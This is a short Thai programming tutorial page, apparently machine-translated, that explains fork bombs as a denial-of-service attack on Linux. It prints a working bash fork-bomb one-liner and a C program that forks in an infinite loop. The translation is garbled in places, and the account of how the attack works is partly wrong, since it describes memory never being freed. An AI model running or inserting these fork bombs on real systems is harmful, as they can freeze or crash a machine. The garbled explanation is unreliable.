Computer >> คอมพิวเตอร์ >  >> การเขียนโปรแกรม >> การเขียนโปรแกรม C

C vs BASH ระเบิดส้อม?


Fork() bomb เป็นการโจมตี Dos (Denial Of Service) กับระบบที่ใช้ลินุกซ์ สิ่งนี้เรียกระบบ Fork() นับไม่ถ้วนที่เติมหน่วยความจำของโปรแกรมและตั้งใจที่จะเป็นอันตรายต่อระบบ

สคริปต์ทุบตีสำหรับ fork bomb

:(){ :|: & };:

รหัสที่อธิบายเป็น :( ) คือการกำหนดฟังก์ชัน { } กำหนดเนื้อหาของลูป :|:&สร้างตำแหน่งหน่วยความจำและไม่อนุญาตให้มีการจัดสรรคืน โปรแกรมนี้เรียกตัวเองหลายครั้งซ้ำแล้วซ้ำเล่า จึงโทรได้ไม่จำกัด

C Fork bomb เป็น Dos ประเภทเดียวกัน แต่สามารถรันบนคอมไพเลอร์ C ได้ ที่สร้างการเรียกที่ไม่สิ้นสุดในการจัดสรรหน่วยความจำและทำให้ระบบมีหน่วยความจำไม่เพียงพอ

ตัวอย่าง

#include <unistd.h>
#include <malloc.h>
int main() {
   while (1) {
      fork();
   }
}

ผลลัพธ์

Infinite calls